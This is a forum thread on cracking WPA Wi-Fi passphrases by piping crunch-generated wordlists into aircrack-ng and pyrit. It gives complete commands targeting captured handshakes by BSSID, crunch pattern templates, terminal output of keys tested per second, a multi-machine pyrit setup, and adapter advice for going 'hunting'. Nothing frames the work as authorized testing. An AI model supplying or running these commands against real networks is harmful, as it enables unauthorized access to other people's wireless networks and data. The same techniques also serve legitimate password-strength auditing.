Cracking WPA key with crunch | aircrack (almost fullproof but how speed things up)

To backt

This would take a long time to complete but it could be done. This would keep the file sizes down.
Google Crunch A Day With Tape - an excellent tutorial there are two tutorials by this author

Crunch will let you compute fixed positions with variables surround it for example:

The aa has eight positions

aa@@@@@@
@aa@@@@@
@@aa@@@@
@@@aa@@@
@@@@aa@@
@@@@@aa@
@@@@@@aa
a@@@@@@a

Therefore:

crunch 8 8 "bcdefghijklmnopqrstuvwxyz" -t aa@@@@@@ -o File-aa@@@@@@
crunch 8 8 "bcdefghijklmnopqrstuvwxyz" -t @aa@@@@@ -o File-@aa@@@@@
crunch 8 8 "bcdefghijklmnopqrstuvwxyz" -t @@aa@@@@ -o File-@@aa@@@@
crunch 8 8 "bcdefghijklmnopqrstuvwxyz" -t @@@aa@@@ -o File-@@@aa@@@
crunch 8 8 "bcdefghijklmnopqrstuvwxyz" -t @@@@aa@@ -o File-@@@@aa@@
crunch 8 8 "bcdefghijklmnopqrstuvwxyz" -t @@@@@aa@ -o File-@@@@@aa@
crunch 8 8 "bcdefghijklmnopqrstuvwxyz" -t @@@@@@aa -o File-@@@@@@aa
crunch 8 8 "bcdefghijklmnopqrstuvwxyz" -t a@@@@@@a -o File-a@@@@@@a

Unfortunately you have another approx 40 positions counting duplicates where two aa could be placed

Note our example has alot of duplicates this is just a rough overview

a@a@@@@@
@a@a@@@@
@@a@a@@@
@@@a@a@@
@@@@a@a@
@@@@@a@a
a@@@@@a@
@a@@@@@a

a@@a@@@@
@a@@a@@@
@@a@@a@@
@@@a@@a@
@@@@a@@a
a@@@@a@@
@a@@@@a@
@@a@@@@a

a@@@a@@@
@a@@@a@@
@@a@@@a@
@@@a@@@a
a@@@a@@@
@a@@@a@@
@@@a@@a@
@@@a@@@a


a@@@@a@@
@a@@@@a@
etc


a@@@@@a@
@a@@@@@a
etc

a@@@@@@a
aa@@@@@@
etc

You have to do this with all 26 characters


crunch 8 8 "acdefghijklmnopqrstuvwxyz" -t bb@@@@@@ -o File-bb@@@@@@

etc

crunch 8 8 "abdefghijklmnopqrstuvwxyz" -t cc@@@@@@ -o File-bb@@@@@@

etc

we suggest you make the file dos compatible with

cat File-aa@@@@@@ | unix2dos > File-aa@@@@@@dos.txt

Then remove duplicates by joining all the aa files then

cat aa@@@@@@dos.txt | sort -u > aa@@@@@@dos.txt


Publish your work when you are finished.

MTeams

Quote:

---

Originally Posted by mmusket33

To backt

This would take a long time to complete but it could be done. This would keep the file sizes down.
Google Crunch A Day With Tape - an excellent tutorial there are two tutorials by this author
....

Publish your work when you are finished.

MTeams

---

Thank you for your genius solution.
I also found the tutorial what you suggested, and there is the "-d" switch, and I think this is what I need! I will test it today/tomorrow.
d Limits the number of consecutive identical characters (crunch v3.2)
I do not have enough room on my hdd to generate such a huge file,(I guess this needs lots of GBs) so I use pipe and send it immediately from crunch to aircrack.
If you mean to publish the wordlist that crunch generates, then I have to buy a 1TB or 2TB external HDD, then generate the file and upload it to somewhere.

Thank you and I will give a feedback after the test.

Quote:

---

Originally Posted by backt

Thank you for your genius solution.
I also found the tutorial what you suggested, and there is the "-d" switch, and I think this is what I need! I will test it today/tomorrow.
d Limits the number of consecutive identical characters (crunch v3.2)
I do not have enough room on my hdd to generate such a huge file,(I guess this needs lots of GBs) so I use pipe and send it immediately from crunch to aircrack.
If you mean to publish the wordlist that crunch generates, then I have to buy a 1TB or 2TB external HDD, then generate the file and upload it to somewhere.

Thank you and I will give a feedback after the test.

---

Using -d switch is not the solution for me, altough it will not repeat each character more than twice (in my case "-d 2") - after each other - , but it will repeat them, - in the whole 8 character long word - more than twice, which is not good for me.

This will not give the aaabcdef variation but it will give aabacdef - and that is what I do not want.

It would be great if crunch can handle repetitions.

So I could tell to crunch not to repeat each character more than "X" times, in my case do not repeat each character more than 2 times.

The author of adstar repzeroworld has written a program similiar to crunch. We have not studied this program. You can find the download in these forums and/or write to repzeroworld directly. The author may have a better ability to manipulate strings then what MTeams has suggested.

Quote:

---

Originally Posted by mmusket33

The author of adstar repzeroworld has written a program similiar to crunch. We have not studied this program. You can find the download in these forums and/or write to repzeroworld directly. The author may have a better ability to manipulate strings then what MTeams has suggested.

---

Thanks! This is what I need. Adstar.

"-r REPEAT_A_CHARACTER
no. of times to repeat a character,e.g, '-r 2' will
generate all combination of words INCLUDING words with
each character being repeated a maximum of 2 times."

I am gonna test it soon.

Someone Help me , is their any Tool using which i can Filter word according to Their Length. Like from an Wordlist/Dictionary file i want to separate those words whose Length is 8. So how do this ?? how i separate only 8 characters words from Dictionary ??

Quote:

---

Originally Posted by FurqanHanif

Someone Help me , is their any Tool using which i can Filter word according to Their Length. Like from an Wordlist/Dictionary file i want to separate those words whose Length is 8. So how do this ?? how i separate only 8 characters words from Dictionary ??

---

What if you put them in a calc / excel file and paste every character in a separate cell, then delete all columns after "H" column.
Then you can filter those rows which has something in cell "A" to "H".

You can also use formulas to remove character after 8th character.
http://www.extendoffice.com/document...character.html


or see this post

http://hashcat.net/forum/thread-2350.html

I am using crunch to try and crack a .cap file. I cannot install pyrit (even though I have an intel cpu, I cannot for the life of me figure out how to integrate open CL and pyrit) so I was wondering what I could do to this to integrate the commonly used Spanish(mexico) characters?

crunch 8 12 ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 | aircrack-ng -a 2 -b (target mac address) -w- (output file name).cap

Dear All..
I already started cracking password using - page 1-method. And Successful.
But my question is that -
How can we crack a password with Special Characters??
Hope of your best reply.
Thanking you.

Hi !
I need your help please ! I would like to know what symbol is between 9 and aircrack-ng . Do you have to specify the cap file ? Like /root/Desktop/handshakefile.cap ? Thanks a lot ! Hope to hear from you soon !

hi guys
1. forgive me for bad english
2.i search internet but i can't find my answer
3.my question is :
i have 3 pc's and laptop
in my laptop i run "pyrit server "
and on other computer config file "~/pyrit/config" and everything work fine
when i try in client "pyrit benchmark " , in server shows "serving 1 active client" or " serving 2 active client"
NOW when i run this command in server
crunch 8 8 abcdefghijklmnopqrstuvwxyz | pyrit -r xxx.cap -b xx:xx:xx:xx:xx:xx -i - attack_passthrough

THEN what command in client must be to help the server

do you guys know if the USB Wireless Adapter,
TP-LINK TL-WN722N

is compatible with Kali and aircrack? I thought I read it was, that is why I bought it, but no Linux drivers are for download on the companies website, so now I am not so sure?

Thanks

Quote:

---

Originally Posted by thrgk

do you guys know if the USB Wireless Adapter,
TP-LINK TL-WN722N

is compatible with Kali and aircrack? I thought I read it was, that is why I bought it, but no Linux drivers are for download on the companies website, so now I am not so sure?

Thanks

---

Yes.I have WN7200ND and it work fine with Kali.but seems like it have problem on "wash".if kali not recognize ur USB Try update and Upgrade it.

Quote:

---

Originally Posted by Kareivis

Yes.I have WN7200ND and it work fine with Kali.but seems like it have problem on "wash".if kali not recognize ur USB Try update and Upgrade it.

---

How did you go about installing the drivers on your laptop without internet? I dont have internet on Kali, so was hoping I could download the drivers and save them to a usb somehow then install them via kali.

BTW, only windows drivers are on the products website?

Quote:

---

Originally Posted by thrgk

do you guys know if the USB Wireless Adapter,
TP-LINK TL-WN722N

is compatible with Kali and aircrack? I thought I read it was, that is why I bought it, but no Linux drivers are for download on the companies website, so now I am not so sure?

Thanks

---

Yes, I have the same wifi adapt for close to a year now and just plug it in and go hunting.

Yes, I'm checking this method and I don't see way to find the pass in a reasonable time.

Hey!!

I am having problems cracking a password with the method mentioned in this thread.
When I run crunch with aircrack it doesnt do anything.
This is what happens:

root@KTest:~# crunch 0 25 abcdefghiklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY Z | aircrack-ng -w - --bssid 0C:F8:93:46:B3:40 -w testfile*.cap
Crunch will now generate the following amount of data: 400214617560680051 bytes
381674401817 MB
372728908 GB
363993 TB
355 PB
Crunch will now generate the following number of lines: 6192586887512427924
Opening testfile-02.cap
Opening testfile-03.cap
Opening testfile-04.cap
Opening testfile-05.cap
Opening testfile-06.cap
Opening testfile-07.cap
Reading packets, please wait...

Aircrack-ng 1.2 rc2
Passphrase not in dictionary

0






















Quitting aircrack-ng...
root@KTest:~#


Any ideas?

Something wrong with your command, try this command instead:
crunch 8 10 -f /usr/share/crunch/charset.lst mixalpha-numeric-space | aircrack-ng -w - -a 2 -b bssid testfile*.cap

WPA key min length 8 chars, majority of router uses default 10 chars, some uses 13 chars.
You may try crunch 8 13, but not practical to crack WPA more then that using cpu crack, e.g. aircrack-ng.

You can always refer to the manual if in doubt or uncertain of some commands. Example: man crunch, man aircrack-ng

Hi was wondering if there could be some possibility of using this same process but instead of aircrack/pyrit we would use hashcat?
Does anyone know how the terminal statement would have to said ? If anyone does, please do if they could reply with it,
Im only saying this cause I've head that hashcat is faster than aircrack / pyrit.

Quote:

---

Originally Posted by hausoo

yes depends on your video card (cuda_cores)

crack 12 digit unknown passwd

crunch 12 12 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ1234567890 | pyrit -r xxx.cap -b xx:xx:xx:xx:xx:xx -i - attack_passthrough

crunch+aircrack-ng cpu-only

HTML Code:

---

~# crunch 12 12 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 | aircrack-ng -w - -b xx:xx:xx:xx:xx:xx capture-03.cap
Crunch will now generate the following amount of data: 12018631630886850560 bytes
11461860304724 MB
11193222953 GB
10930881 TB
10674 PB
Crunch will now generate the following number of lines: 16533293572437839872
Opening capture-03.cap
Reading packets, please wait...



                                Aircrack-ng 1.2 beta1


                  [00:00:45] 180855 keys tested (4367.42 k/s)

---

crunch+pyrit cpu+GPU (cuda 334 cores)

Code:

---

~# crunch 12 12 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 | pyrit -r capture-03.cap -b xx:xx:xx:xx:xx:xx -i - attack_passthrough
Crunch will now generate the following amount of data: 12018631630886850560 bytes
11461860304724 MB
11193222953 GB
10930881 TB
10674 PB
Crunch will now generate the following number of lines: 16533293572437839872
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'capture-03.cap' (1/1)...
Parsed 47 packets (47 802.11-packets), got 1 AP(s)

^CCrunch ending at aaaaaaaajKUl0 23400 PMKs per second.

---

---

Hello,sorry if made a wry message. I write through the translator. after you enter the command with 'Purit' , it gives me a list of his commands. help how to fix it?

Thank's Zimmaro :)

If you are serious about using crunch and the code supplied within this thread, make sure you know how to use it properly.
You could very well make your hdd fail by using crunch incorrectly.